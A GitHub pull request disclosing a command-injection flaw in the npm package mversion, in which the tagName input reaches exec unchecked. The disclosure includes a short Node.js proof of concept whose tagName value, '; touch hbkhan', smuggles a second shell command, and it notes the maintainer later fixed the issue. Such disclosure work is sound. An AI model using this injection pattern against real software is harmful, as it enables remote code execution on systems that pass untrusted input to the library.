Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Remote Command Execution in mversion #102

Closed
wants to merge 1 commit into from

Conversation

Hbkhan
Copy link

@Hbkhan Hbkhan commented Jun 23, 2020

✍️ Description

Affected versions allow an attacker to execute remote commands. The issue occurs because tagName user input is formatted inside the exec function in #L64 is executed without any checks.

🕵️‍♂️ Proof of Concept

// poc.js
// node poc.js

var mversion = require('mversion');

mversion.update({
       version: "major",
       commitMessage: "testing",
       tagName: "; touch hbkhan",
 })

💥 Impact

This issue may lead to remote code execution if a client of the library calls the vulnerable method with untrusted input.

☎️ Contact

This is the initial disclosure

Checklist

In my pull request, I have:

  • Created and populated the README.md and vulnerability.json files
  • Provided the repository URL and any applicable permalinks
  • Defined all the applicable weaknesses (CWEs)
  • Proposed the CVSS vector items i.e. User Interaction, Attack Complexity
  • Checked that the vulnerability affects the latest version of the package released
  • Checked that a fix does not currently exist that remediates this vulnerability
  • Complied with all applicable laws

@Hbkhan
Copy link
Author

Hbkhan commented Jun 24, 2020

The issue just got fixed by the author of repo @mikaelbr

@Hbkhan Hbkhan closed this Jun 24, 2020
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
disclosure Vulnerability disclosure
Projects
None yet
Development

Successfully merging this pull request may close these issues.

None yet

2 participants